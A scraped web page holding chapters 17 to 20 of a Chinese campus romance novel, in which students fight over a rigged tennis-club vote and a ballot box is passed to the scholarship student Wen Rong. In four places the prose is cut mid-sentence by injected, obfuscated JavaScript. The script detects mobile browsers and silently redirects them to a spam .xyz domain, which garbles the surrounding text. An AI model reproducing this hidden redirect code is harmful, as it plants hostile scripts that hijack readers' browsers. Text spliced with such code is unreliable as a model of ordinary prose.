因为温绒走进食堂就看到穿着网球社运动服的三个男生坐在靠门的位置。 他们正在说话,还没发现温绒。 “都怪那个特招生,要不是他……我们社团的招新怎么可能被中止。” 另一个有些心不在焉,“是、是吧。” “你什么意思?” 他回神,迟疑道,“我的意思是要……要……给他一个教训。” 再一个,“不太好吧,咱们社刚违反校规被终止招新,再惹事真的会被荷官劝退,这事他觉得做得出来。” “被你这么一提醒我也觉得不太好,荷官出了名的铁面无私,还是别为了个特招生搭进去。” 再一个,“同意。温……特招生流了那么多血已经吃够教训了。” 三个人默契地达成共识,温绒小小松了口气。 他肌肉还没练出来,要是这些人找自己麻烦就需要花掉最后一点积分,有点不划算。 在温绒的计划里,剩余的一点积分应该拿来反击时野。 “我们可以不打他。我们、我们亲……” 两人齐齐抬头盯着说话的男生。 温绒那口气又吸回去。 男生顿了下,连忙道,“亲……自吓他。哈哈,吓唬他总可以吧,他一看就很胆小,我吓一吓他,晚上回去指不定会一直想我是怎么吓他的,做梦都梦到我。” “你他妈变态啊?” 另一个:“这个办法好!” 又说:“问题是怎么蹲他?” 温绒还想继续听下去,毕竟知己知彼百战不殆,但转念一想,自己靠他们那么近,他们要是一抬头,都不用思考怎么蹲自己了,直接逮个正着。 斟酌过后还是迅速找阿姨要了个吃的,快步离开食堂。 与此同时,正对食堂大门的男生神色骤然一变,站起来,“想起来我还有事,我先走了。” “你什么事?不是说等会儿打球吗?” 男生摸出手机放在耳朵边,“家里给我来电话了,我妈最近要给我介绍对象。” 随即快步离开。 剩下两个男生面面相觑,“刚才他手机是息屏状态吧?” “嗯,装都没装一下。” “他走了正好咱俩打球。” “每人记分有点烦,要是能跟时野一样把佣人带来学校就好了。我吃好了,走吧。” “诶,我还没吃好,等我一下啊。” “等什么啊,走了。” 男生皱着脸起身,正巧余光飘过窗户,看见一个白t牛仔裤的背影。 他顿了顿,“我好像也有点事,你自己去打球吧。” “啊,我一个人怎么打?” “跟墙打。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769227|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>- 跑车在校园里飞驰,轰声震天,引起不小的动静。 时野这两天心情不太好。 从开学前他就在准备新网球社的招新工作,本来都势在必得,甚至忍着脾气在学生会填了一上午的心理测试题,结果下午被周谢通知停止招新。 至于新老网球社到底留哪个,还要等通知。 等他大爷的通知。 坏事还一件件地来。 先是听说温绒被赵泽阳欺负,后又看到那个《15楼哥诚不欺我》的帖子。 简直晴天霹雳。 现在不只是15楼了,好多人都知道了本来只有他才知道的秘密,而且那些人竟然喊温绒“老婆”。 “艹!一群发情的公狗。” 时野开着跑车在校务楼大门口旋了半圈,将钥匙丢给齐元,跨下车。 他打完沙袋后短暂冲了个澡,灰色头发还没干透,来的路上被风全吹到脑后,完整露出凌厉张扬的五官。 面上表情不怎么好看,因为正盘算怎么从周谢手里拿到黒鸽系统管理员的账号。 等他找到帖子里那些公狗,把他们全切了。 正在这时,身后传来一声喊,“温绒。” 时野迅速回头,看见穿白色运动服的男生拦住一个矮子的去路。 矮子今天换了件黑色t恤,胸口印着莫名其妙的彩色“Fight”。 谁家正常人把“打架”穿身上?他怎么还不穿校服—— 时野想到这里莫名扯了扯嘴角。 他这几个月增加了训练量,校服穿上身发紧,让管家重新订购了一套。 黒鸽系统刚发消息过来通知量尺寸。 温绒应该也交上了校服的钱…… 校务楼门口,两人不知道说了什么,温绒给对方鞠了个躬转头朝大门跑。 时野双手抱胸,摆出个自认为帅气的姿势靠在楼梯上守株待兔。 噔噔噔噔 温绒埋头冲上楼。 噔噔噔噔 上楼了。 时野:………… 时野:? 瞎子。 看不见我那么大一个人吗? 时野在心里骂他,脚下两阶两阶走上楼,思考出一个绝妙的打招呼方式。 社团招新上是不是没人要你,要不要进新网球社?本来不想要你的,谁让我说了无门槛呢。 不行,显得我多想让他进新网球社似的。 要不要进新网球社?莱昂让我收留你。 这个不错,既显得我没那么想让他进社团,又可以让他进来。 “你怎么飞上来了?!”楼上传来温绒惊愕的声音。 时野停止思考。 另一个声音:“什么?” “你别再来找我,你都来第二次了,第三次我就……我就骂你了。” 男生有些无辜,“我是第一次来找你说话,我想跟你做个朋友。” “你刚刚在下面也拉住我了。” “下面?”男生紧接着解释,“我一直等在这里,没有在下面。” “可是下面那个……” 温绒背对着时野,但时野感觉得出他咽了下唾沫,继续很呆地把话说完:“白色运动服的不是你吗?” 男生愣住了,“啊?” 温绒大概、终于反应过来两套白色运动服确实不是同一个人,有些慌张地四处乱瞟,口不择言道,“其实你不是那么好……不不不,你挺好的,但我真的不打算交朋友。” 时野抬手挡在嘴前,忍不住又骂了句瞎子,让你走路不看人,看人不敢看脸。 爽了。 更爽的时候男生骤然发青的脸,“你说……刚刚也有个穿白色运动服的找你?” 时野走到温绒身后,难得学习莱昂往乱局里再加一剂猛料:“没关系学长,虽然你跟朋友默契地避开了对方,但收到的好人卡是一样的。” 18. 第 18 章 男生面上的铁青转为惶恐,“时、时哥。” 时野点头,即使他比男生还要小几岁。 这种以生俱来的坦然就像是脚下踩着一座黄金塔,无论和谁站在一起他都要高一截,和他对话必须仰望。 他甚至不需要开口,别人自己会在心里琢磨此时他是什么想法,怎么做才能让他开心。 “时哥怎么亲自来校务楼,有什么我可以做的吗?” 时野凌厉逼人眸子向侧面一斜,眼疾手快勾住预备逃跑的温绒。 “你没有话要给学长说吗?” “……” 时野勾着他晃了晃,“说啊。” “……” 温绒两边腮帮子鼓起来又扁下去,悠悠出声,“我没有发好人卡。” “你没有吗?” “没有。” 白色运动服的男生嘴边露出一抹笑意,但他察觉冰冷的视线,笑容迅速收回。 时野眉峰高挑,“你真的没有吗?” “我真的没有。” 温绒搭上禁锢自己的坚硬手臂,一边试图掰开一边很努力地劝说自己此时使用1点积分不值得。 控制住情绪,但掰不开控制自己的手,他弱弱询问:“你能不能放开我,我还有话要说。” “就这样说。” “……” 温绒妥协,保持着诡异的姿势给男生说:“对不起,刚刚认错了人是我不对。” 手臂在这一刻猛然收紧,温绒差点呼吸不过来,脑袋用力后仰找一个比目前姿势稍微舒服一点点的角度,艰难开口: “但我觉得你们网球社的人都不是很好,我没有给你们发好人卡。” “……” “……” “你们还是不要跟我做朋友了。” 说完温绒仰头呼吸,丝毫没察觉气氛陷入沉默。 直到走廊上响起一声哨,时野咬住唇闷笑出声。 温绒:“?” 时野:“哈,你知不知道好人卡是什么东西。” 温绒又见知识盲区,老实的本能迫使他羞耻承认:“我、我不知道。不是好人的意思吗?” 穿白色运动服的男生浑身一哆嗦,“你——” 温绒再迟钝也意识到自己惹人生气了,不敢说话。 “你!” 温绒:“……” “跟你说话是给你面子,你竟然敢!敢……你别后悔!” 男生吼完愤恨下楼。 好像要用脚步声来展示自己的愤怒,地板被蹬得咚咚响。 声音越来越远,宽阔的走廊上偶尔有风穿过。 “哈哈哈哈” 时野彻底爆发,勾着温绒向后仰,几乎要栽倒。 温绒心中默念“不喜欢要说出来”、“我还有1点积分”、“摔下去有时野垫背”……即将给自己鼓足勇气的时候,时野意外松开他。 气焰被乱拳打灭,温绒失措地贴着墙站好,两只手背在身后做支撑。 他开始思考新问题,时野怎么会在这里。 不对,这个问题不重要。 最重要的是现在要怎么逃跑。 跑肯定又要被勾回来,时野一定是黑白无常转世,速度好快好喜欢勾人。 上次能跑是时野要自己骂“艹”,难道这次又要骂“艹”吗? 他怎么那么奇怪,哪有人叫别人骂自己的。 “你打我一拳。” “?” 温绒脑子卡壳。 这次不骂他改打他了?! “你不是一拳把赵泽阳打晕了吗?你也用那个力道打我一拳试试。” “啊?” 这个要求真的太奇怪,给温绒造成剧烈的刺激。他少见地仰起头,眸子里满是迷茫地望向时野。 粉色的唇瓣微微张开,从细小的缝隙中能望见温热的舌,以并不舒服的状态悬在上下颚之间。 时野想起论坛里许多人说的骚话。 ——想抱起来亲一亲。 温绒这身板显然是轻轻一扣就动弹不得的那一类,摁到墙上、摁到床上、甚至摁在镜子上,想反抗反抗不了,只能挨亲,哪里都能亲,沾上满脸口水。 恋爱都没谈过的单纯处男,光想象“操纵”的感觉肾上腺素就开始飙升,完完全全喂饱年轻身体里的控制欲。 温绒:“你是不是生病了?” 时野猛然回神,莫名产生“被发现了”的窘迫,拔高声音掩饰,“废什么话,我让你打我一拳,让我尝尝你的厉害。” 不是,我在说什么啊? 尝尝什么? 时野受不了自己说出这么暧昧旖旎的话,避开视线着急忙慌补充一句,“不然我揍你。” “……” “赶紧动手啊。” “……” 干嘛不说话,不会被吓哭了吧。 时野强制视线挪回。 校务楼的墙面只用粉刷过一层,并不细腻,上白下红,分界线有微小的锯齿。 空气中,无数小问号组成一个人形轮廓。 噔噔噔。 只在脑子里响起的声音提醒他,几秒钟前站在这里的温绒不见了。 两米之外,温绒面对着他,双脚小心翼翼地倒退往走廊另一个方向靠。 “站住——” 温绒立马跟玩123木头人似的乖乖定住,两只脚维持迈开的姿势。 时野呼吸莫名一滞。 干嘛啊,这么听话。 几秒钟前幻想的“控制欲”在这一刻具象化。甚至都不需要控制住那双小细胳臂,只发号施令,仅仅开口就可以操控…… 这时,软绵绵的拳头落在鼻尖,打断他的浮想联翩。 唇瓣黏到不属于自己的细腻皮肤,压一下,指骨短暂撬开他的嘴,一口香气灌入喉咙,甜腻浓郁到充盈整颗大脑,时野开始发晕。 砰砰砰 砰砰砰砰砰 耳朵里全是心脏搏动的声音。 他不知道该怎么办才好,喉结上下一滚,唾液润过干涩的嗓子,“你……” 温绒迅速收回手,“那个,我按照你说的做了,我可以走了吗?我还有事,不能迟到。” “嗯……” 温绒转个身想跑,走出去几步又转回来,咬字缓慢,“我想了一想,觉得还是应该把心里的话说出来。” “嗯……” “不要再卡我的脖子了,很不舒服。” 时野掩着下半张脸,耳骨发烫,“嗯。” “还有,下次能不能别让我打你。你虽然很讨厌,但你没有打我,我不想无缘无故打人,那是霸凌。” “嗯……” “那、那我先走了。” “嗯。” 温绒依然像刚才一样正对着他,双腿倒退。 走出去几米发觉时野定在原地没有动,才敢转身拔腿逃跑。 时野向后靠到墙上,一阵一阵冰凉穿过皮肤,带走身上的热晕。 不知道过了多久,他终于意识到手机作响,屏幕中间显示莱昂的名字。 “喂……” “小混蛋,怎么这么久才接学长的电话?” “嗯……” “你怎么了?刚睡醒?不像你的作风啊。” “刚睡醒。”时野大脑迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769228|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钝地运转着。 “醒醒,因为网球社终止招新跟你比不出结果,周谢要重新组织投票。” “唔……” “而且是匿名。” “嗯。” “你是不是发烧了?” “没有。” 莱昂静了几秒,“周谢的原话是:所有人都只是因为你姓‘时’才不得不支持你,匿名可以保证投票更公平。” “嗯……” “你晚上到学生会这边来吧,定的晚上投。” 电话挂断,时野保持着举手机的姿势靠墙冷静。 手机再次震动,还是莱昂。 时野接起电话,“还有什么事。” “我刚问管家,你去量尺寸了?” “嗯。” “温绒应该跟你一起,你让设计师准备一套175尺寸的校服给他临时用,不然赶不上开学典礼。还有眼镜,他眼镜坏了,重新给他配一副。” 时野散乱的神思在这一刻才终于归位,警惕道,“你怎么突然这么关心他?” “难道我之前不关心他吗?” “哦。”时野想起之前莱昂确实比较关照温绒,释然。 “你怎么了?” “你怎么那么关心他?” “这个问题你刚刚好像问过。” 时野解释其中差别,“刚刚有突然现在没有,我的意思是你怎么一直很关心他。” “因为学长是一个认真负责任的人。” “哦。”时野再次释然。 莱昂还是他认识的莱昂,没什么喜欢不喜欢和立场,只爱看戏,顺便把事情搞得越来越麻烦,唯一优点大概是负责。 “你一定要记得,不然周谢肯定不给他进大礼堂。他都被记一次黄牌了。” 时野含糊点头。 挂断电话后他又冷静了会儿,终于反应过来“重新投票”“匿名投票”以及“晚上投票”。 艹! 周谢搞他。 - 《新网球社大败,某旧人又行了。》 1楼:woc,假的吧?我投的是时野啊。 2楼:+1 3楼:楼上别怕,匿名投票跟匿名论坛是一样的,说实话也没人知道你是谁。 4楼:好吧,我承认我投的某旧人。就是不想看时野太顺风顺水,又是时家继承人又是世界第一,还特么想建个新网球社,怎么好事都给他占了? 5楼:但某旧人又菜又烦,我宁愿时野当网球社社长,至少能去他那个大别墅回归下家里的舒服生活。 6楼:而且某旧人还找特招生的茬,有点过分。 7楼:得了吧,特招生不是什么好东西,高傲得很。 8楼:7楼细说。 7楼:今天跟特招生示好,结果他直接骂我不是东西,真不懂怎么会有这么没素质的人。 10楼:平民没素质不是很正常吗? 11楼:好心被当驴肝肺啊,这个特招生知不知道我们跟他说句话都是他的荣幸。 12楼:这楼歪了,但我还是想问你们为什么要跟特招生说话?我已经很久没搭理过我家下人了。 13楼:75楼哥早就说了啊,那个特漂亮的人就是特招生。 14楼:woc,不是吧不是吧?骗我?当我没看过他吗,我记的长得很寒碜。 15楼:无论长什么样,因为脸就跟特招生说话,是不是肤浅了点啊校友们? 16楼:确实肤浅。 …… 一连被骂肤浅骂一百多楼,有人终于忍不住打字。 196楼:他把眼镜摘下来你就知道了。 19. 第 19 章 咚咚咚 “进。” 莱昂拧动门把手,进门时冷风扑面而来,夹杂着香烟的味道。 “都秋天了,还开这么冷的空调。” “醒神。” 偌大的办公室装饰朴素。 虚空中有两条交叉的对称轴,胡桃木茶几摆在正中,两边真皮沙发呈对称状,分毫不差。 莱昂低头看见茶几上装饰用的四只茶杯,上下左右整整齐齐,能画出四条对称轴。 晚上九点还要醒神的周谢坐在中位线的椅子上,抽烟。 没看到他左手右手都夹着一根烟是莱昂多年以来的遗憾。 周谢漠然开口,“时野那边怎么样。” “宣布结果的时候你没见他那脸色?还被赵泽阳冷嘲热讽,现在全世界的沙袋应该都在往他那儿送。” “嗯。” “你这事做得跟逛街要漂亮妹妹微信一样,心思太明显,他绝对猜到了。” 借赵泽阳闹事终止招新为理由重开投票,在时野那堆跟班比赵泽阳身边人更多的情况下,搞匿名投票,还现场判赵泽阳赢,既给了教训又挑拨离间,摆明了要拆时野聚起来的那堆人。 “需要猜吗?我做得就跟他用那块地建别墅一样明显。” 莱昂就知道周谢迟早报别墅的仇。 打小时野跟周谢就是你打我我打你谁也不让谁好过,有点友谊,但不多。 而这点友谊,纯靠“妈妈的茶话会”很两家利益来往维持。 莱昂站得有点累,到沙发旁边问:“我可以坐吗?” 周谢起身来到沙发边,做个请的动作,随即一起坐下。 莱昂询问:“你不怕以后他继承了时家,不支持你选举吗?” 周谢父亲5年前能选举为联邦第46位总统,离不开李奥家的经济支持跟时野家的军事支持,现在三家的孩子都差不多到了事业起步的年龄,政治经济军事三家互相扶持的局面大概率会继续延续。 在莱昂看来,周谢接二连三得罪时野并不是一个好选择。 周谢唇边泄出烟气,朦胧盖住脸上一闪而过的嘲意,“时家现在有了新的女主人和二少爷,整个家业由不由他来继承还是未知数。” 莱昂也嘲讽,“有时候我真佩服你们这些能面不改色提上裤子的人,睡了人家哥哥还能睡弟弟,怎么勾引的?” “你好好说话。” 莱昂摊手,“我人就这样,可惜没有多的兄弟给你睡了。” “我知道你不喜欢我偏向他那个同父异母的弟弟,但这不是我能决定的,真正做决定的是他父亲,我是个外人,我只能理性判断得失。” 由家族合作产生的“友谊”本身就存在共有性,在时野父亲推那个二少爷出来社交并展示出“修改继承人意向”时,周谢确实无法拒绝。 莱昂同样被困在这样的烦恼中,不禁揉眉心,“你有没有想过,脱离了时家,时野也会比他父亲更有用。” “他就算日夜不歇努力五十年也赶不上他家三百多年的积累。” “太过迷信前人种的树也不好。你看看现在,科技领域已经将近70年没有重大突破了。资源过于集中在上层阶级,造成了上层阶级的惰性和下层阶级的无知,彻底限制时代的发展。” 继续说:“弗罗里曼学院里的每个学生都是几百万人里挑选出来的天才,但从进入学院那天开始他们就开始退化成狗,只会跟着主人乱叫。等毕业,他们一边给别人当狗,一边利用身份让别人给他们当狗,掌握着最多的财富和权力,即使他们脑子里全是垃圾。” 周谢神色镇定,“我理解你在气头上说话不好听,但聪明人都知道要跟随一位好领导。” 莱昂伸手指向周谢办公桌后面弗罗里曼学院的校训:引领时代,改变世界。 “这里是培养领袖的地方。” “如果每个人都想当领袖,那社会就乱套了。” 莱昂嘲讽地扯了扯嘴角,没再说话。 “不说这些我们掌控不了的事。” 周谢眼一看烟,已经燃烬二分之一,随即把烟灭掉,摸手机出来拨出通电话,“拿进来。” 李奥推开门进来,手里抱着个黑色的投票箱。 箱子放到茶几上后周谢把箱子推到正中间,莱昂的面前,“这是刚才用的投票箱。” 莱昂瞥向周谢,“你想做什么?” “实际上,投给时野的票数比赵泽阳多得多。” “这一点都不难猜,时野现在在气头上大概没有反应过来,等他反应过来了一定会找你要说法。” “我现在就给他一个说法。”周谢站起来,敲了敲投票箱的盖子,“我要你把投票箱拿给特招生。” 莱昂一愣,“你说什么?” 周谢不再说第二次。 习惯权力的他并不会为谁把一句话说第二遍,莱昂有时候会觉得他傲慢,但傲慢本身是组成周谢的很大一部分,从小莱昂就知道。 谁还没一两个缺点呢,互相迁就着也就长大了。回头一看,无奈总结为“我那个傲慢的发小”。 莱昂好脾气地拉开嘴角,“有时候我觉得你的做事逻辑很奇怪。” “你不需要理解我的逻辑。” “……” “……” 空气沉默一瞬,莱昂完全放松地靠到沙发背,从口袋摸出纸笔在手里转着玩。 他对所有人所有事的态度可以称之为温和、包容,因为脸上总挂着笑,所以很多人都忘记了他其实会生气。 比如现在,嘴角依然高高扬起,但湛蓝的眸子里没有半点笑意,“周谢,你在把我当狗么?” 冷面的周谢静了两秒,说:“你觉得什么地方奇怪。” 莱昂也静了两秒,顺着台阶下,“时野他爸的小情人没办法把儿子弄进学校,在校长室闹事那天你也在现场。” “是。” “那疯女人看校长态度强硬,不知道谁给她出了个主意,改口让学校招温绒进来恶心时野,你听到了。” “是。” “时野本来阻止了校长,是你提议招入温绒,校长才改变主意。” “是。” “人是你要推波助澜招进来的,现在为什么又要针对他。” 周谢面色不改,“校长想要特招生,我只是给他一个台阶下而已。” “那你应该知道校长不想让温绒退学。你让他把这个东西送去给时野,相当于让时野逼温绒退学。” “他退不退学跟我没关系,我只是让你把投票箱给他,至于给不给,是他的选择。” 莱昂再次把笔转起来,没说话。 “他想进学生会,就要接受学生会的考题。” “你想要他给还是不给?” 周谢坦然,“无论给不给,都是我拒绝他进入学生会的理由。” “所以这么七绕八绕,总结下来就是你只是想装一装。” “维持体面而已,总不能真让一个平民进学生会。” 周谢又补充道,“这是我综合考虑做出的决定,他那么蠢,没办法进入政府工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14769229|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作。” 弗罗里曼学院的学生会跟其他学校的学生会有所不同,在这里,进入学生会的学生基本出生政要世家,日后也会子承父业。 所以学生会表面上遵循联邦政府的民主原则,对外宣称学生会不设门槛,但其实门槛比任何社团都要高。 温绒的平民身份无法进入学生会跟他日后无法在政府担任要职是一样的概念,出生那一刻就决定了。 这是再正常不过的事情,但莱昂现在很难给周谢一个笑脸,“那你觉得我会愿意做这个恶人吗?” 噗嗤—— 周谢破天荒地笑了声,“真有意思,最喜欢看戏的人竟然不想把事情闹大。” 李奥搭腔,“表哥,我就说他对那个特招生不一般。” “确实不一般。” 这一刻空气飞旋,时光流转,好像回到很小的小时候,四个人在“妈妈的茶会”上玩碰面。 周谢嘲笑走路还不稳当的时野跟野人一样到处爬,李奥根本不懂什么是野人,只会鼓掌追着时野喊“野人”,时野打小就不好欺负,1v2把两人打得埋进妈妈的裙子里哭。 他当时在干嘛? 他给时野解科普“野人就是敌军,敌人,战场上的坏蛋”,然后坐旁边吃点心看戏。 莱昂还没准备好成为戏里的人,第一次当这个角色,身心都陷入窘境,还要强装镇定地回答:“我也想看看时野被他气到后会做什么。” 他以投票箱很难抱为理由开走周谢的老爷车——从他爷爷那里继承来的古董玩意,按年龄算,应该是周谢他大舅。车内程设老旧,还是手动,看起来好看,开起来难受。 这么一路难受着,从学生会到宿舍楼,停车时莱昂看时间,晚上九点半。 社团招新结束后无论是新生还是高年级都要忙着应酬,这个时间点聚会才刚开始。 连片的宿舍楼,只有一扇孤寂的窗明亮。 莱昂在这一刻忽然好奇,温绒会怎么选。 时野和赵泽阳都是他讨厌的人,他来当“法官”的时候,会做出什么样的决定? 看戏的习惯时刻影响着他。 [睡了吗?我在你宿舍楼下,有件事需要你做。] 秒回:[学长我马上下来。] 五分钟后,宿舍楼奔出一道清瘦身影。 莱昂摇下车窗的功夫,似乎有人走进宿舍楼,偶然看到温绒,拉住他说话。 温绒的剪影鞠着躬,几次想要走都被那人拦住。 莱昂忽然觉得摇车窗真是逊毙了,现在明明有那么多改装技术,不理解周谢为什么坚持开几十年的老古董。 过了大概三四分钟,温绒终于逃脱,走过来鞠躬,“学长晚上好。” 莱昂手撑到车窗上,“刚才那个人跟你说什么?” “说……明天想跟我一起去食堂吃午饭。” “你怎么回答?” “我拒绝了他。” 莱昂嗓子有些冷,“拒绝别人的时候不用太礼貌。” “我——” 他打断他,“拒绝就是拒绝,不用鞠躬,不用感谢,更不用觉得抱歉。你可以说‘不要’、‘滚开’、‘离我远点’,你态度好,对方不会觉得你友善,只会觉得你好欺负。” 廊灯下,那男生戏谑的脸再次扎进莱昂的脑海,那种暧昧调笑的眼神像一个老头子打量年轻女孩一样猥琐恶心。 莱昂抬眼看向似懂非懂的温绒,心中迸发出比半小时前更加汹涌的怒意。 ——笨蛋,被人调戏了都不知道。 20. 第 20 章 “讨好别人会让你变得廉价。” 微弱的灯光尽数浮在温绒的眼镜上,莱昂看不清他的眼神。 过会儿,迟疑的声音在一片寂静中响起,“学长,对别人不应该礼貌吗?” “态度该强硬的时候要硬起来,比如那天你揍赵泽阳,我就觉得很酷。” 温绒脖子前倾,向莱昂的方向靠拢,“酷、酷吗?” “对,很酷。你没发现吗,自从你揍赵泽阳,大家对你的态度都不一样了。”虽然主要原因跟揍赵泽阳一点关系都没有,但莱昂觉得这个小小的谎言是值得且有效的。 “酷……” 果然,温绒呢喃一声后,站在车前歪头思考,像是完全沉浸进去了。 莱昂满意他的反应,摸手机出来看一眼时间,九点四十五。 开车过去大概十点,回来十点半,正好睡觉。 “上车吧。” “……” “嗯?” “不要。” 生冷坚决的两个字不像从温绒喉咙里发出来的声音,偏偏这里没有第三个人。 湛蓝瞳孔骤然紧缩,手机差点掉到腿上。 莱昂偏头望向窗外,温绒背着光,灰蒙蒙的夜色里只余一道抹不开的黑。 这是温绒第一次拒绝他。 莱昂终于发现自己忽略了一个问题。晚上九点半突然喊温绒出来,还要他上车,根本没有问过他愿不愿意,这样做有没有打乱他原本的计划。 因为脾气太软,莱昂无意识地摆弄温绒,完全没注意到他其实是有主观意识的人。 ——他跟刚才在宿舍门口和温绒搭话的男生没有任何区别。 “温绒……”莱昂心跳不稳,“你晚上是不是有其他事?” 路上有车经过,白色的车灯由远及近,照出温绒脸上从未出现过的冷峻。 莱昂喉结上下一滚,想要再询问,空气里传来灵动的笑声,“学长说的拒绝是这样吗?酷不酷?” “……” “学长?” “酷。”莱昂迟钝地点了下头。 白光走远,温绒绕车一圈,小心拉开副驾驶的门,“学长这是你的车吗?好好看,我从来没见过这么好看的车,好像电影里面的道具。” 莱昂无法听见这些赞美,心里波澜万丈,应该说是忐忑。 温绒到底愿不愿意上车?还是他太乖不会拒绝? 他停下换挡动作,“温绒,我晚上叫你出来,你会不会觉得很奇怪。” 温绒摇头,“我很开心,因为学长就像朋友一样。我第一次交到朋友。” 咚咚 莱昂听到自己的心跳声。 温绒跟自己算什么朋友?帮几次忙就能算朋友了?那岂不是谁都能跟他当朋友? “温绒,朋友不是这样交的。” 温绒拉下安全带的动作定了一定,有些惶恐,“我是不是冒犯到你了。” “我很愿意跟你做朋友,但朋友不是我向你示好就可以成为朋友的。朋友是你找到自己的兴趣爱好,遇到有同样兴趣的人,你们三观契合,所以成为了朋友。简单示好得来的朋友需要你花很多精力和时间去维护,那些是损耗你的东西。” 莱昂胸中一股无法控制的情绪喷涌而出,“你刚才为什么拒绝那个约你吃饭的人。” “因为……他穿着网球社的运动服。” “那明天没穿网球社运动服的人找你,你就不拒绝了?” 温绒:“我……” “无论什么人向你示好,不要随随便便把他当朋友,因为他可能觊觎你的屁——”莱昂咬舌改口,“我的意思是,他们对你另有所图。” “我身上有什么东西可以图?” “当然是你的……总之他们心怀不轨,就像拐卖一样想拐卖你。” 温绒被这么一吓,肩膀都耸起来,靠在椅背上不敢说话了。 车子发动,风从车窗外灌进来。 莱昂冷静了些许,开口问:“你喜欢赵泽阳跟时野吗?” “啊?” “不是那种喜欢,我的意思是很正常的喜欢。” 温绒没明白“那种喜欢”和“正常喜欢”分别代表什么意思,为什么要分开讲,喜欢不就是喜欢吗? 巧合的是,这两个名字的分类跟“喜欢”搭不上边。温绒也不纠结,直言:“我都不喜欢。” “那更讨厌谁。” “赵泽阳。” 莱昂噗嗤一笑,“我还以为是时野。” “时野只是奇怪了一点,但赵泽阳会拿球砸我,所以赵泽阳比他更讨厌。” 莱昂眸子一转,引入这一趟真正的目的,“现在有一件事要跟你说。” “嗯嗯。” “弗罗里曼学院秉承联邦传统,大多数事情采用投票的方式决断,以体现民主和公平。” “一个小时前,学生会组织了一场关于新老网球社留哪一个的投票。” 温绒对着空气点头,以表示自己在认真听讲。 “现场结果是时野赢了。” “嗯。” “但其实新生们支持的都是赵泽阳。周谢在记票的时候做了手脚,让所有人都以为时野得票多。” “……”温绒脑子卡了一下。 意思是,时野的胜利不正当,真正获得最多支持的是赵泽阳? 好奇怪,明明时野带来围观自己的人比网球社的人多得多。 “投票箱在后座,所有的证据都在里面。你觉得要不要把它交给赵泽阳?” “要、要吧。” “你不讨厌赵泽阳了?” 温绒斩钉截铁,“我讨厌他。如果我在现场,肯定不投票给他。” “你给他了,他的网球社就可以继续存在,以后他还会带着网球社的人欺负你。” “我现在已经不怕他了。”温绒想了一想,“而且我觉得这件事是错的。投票是为了顺应大家的意见,弄出一个虚假的结果等于欺骗所有人,应该揭发的。” 莱昂扯了扯嘴角说了句“天真”,正好抵达目的地,把车停下。 “到了。” 温绒转头看见时野的大别墅,四层都开着灯,一楼更是热闹,落地窗上映满人影。 “学、学长?!” 莱昂打开车内的灯,示意温绒,“你到后座自己打开投票箱看看。” 温绒又害怕又疑惑,但想到是学长的要求,就听话下车,到后座摸出投票箱里的票根。 时野、时野、时野、时野、时野、赵泽阳、时野、时野…… 温绒糊涂了,“学长,这些票好像都是时野。” 莱昂手搭到头枕旁边,撑着脑袋淡笑,“刚才只是逗逗你,其实新生们支持的都是时野,周谢做假让赵泽阳赢。” “为什么要逗逗我?” 莱昂把坏心眼的锅甩到周谢头上,“你不是想进学生会么,这是周谢给你出的一道题。” 温绒终于记起自己前几天勇敢提出又默默终止的想法,“什么题?” 莱昂笑笑,“从弗罗里曼学院建校起网球社就存在了,一代一代学长传下来,少说也有几百年了,赵泽阳是现任网球社社长。” “但你应该也知道赵泽阳是一个横行霸道的人,绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14769230|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不是好领导。” 温绒认同,赵泽阳不好。 “时野看不惯他,想要建一个新的网球社。” 温绒点头认可。 “只是这种直接更替的行为太鲁莽,仅仅因为不喜欢就搞一个新社团出来代替旧社团,人人效仿,学校的管理会陷入混乱。身为学生会会长的周谢为了维持稳定,才做这些小动作。” 温绒满眼疑惑,似乎这种各方利益牵扯的东西超出他的理解范畴。 莱昂满意这个表情,柔声询问:“所以,你还要不要像刚才支持赵泽阳那样,把它交给时野?” 温绒毫不迟疑,“当然要。” 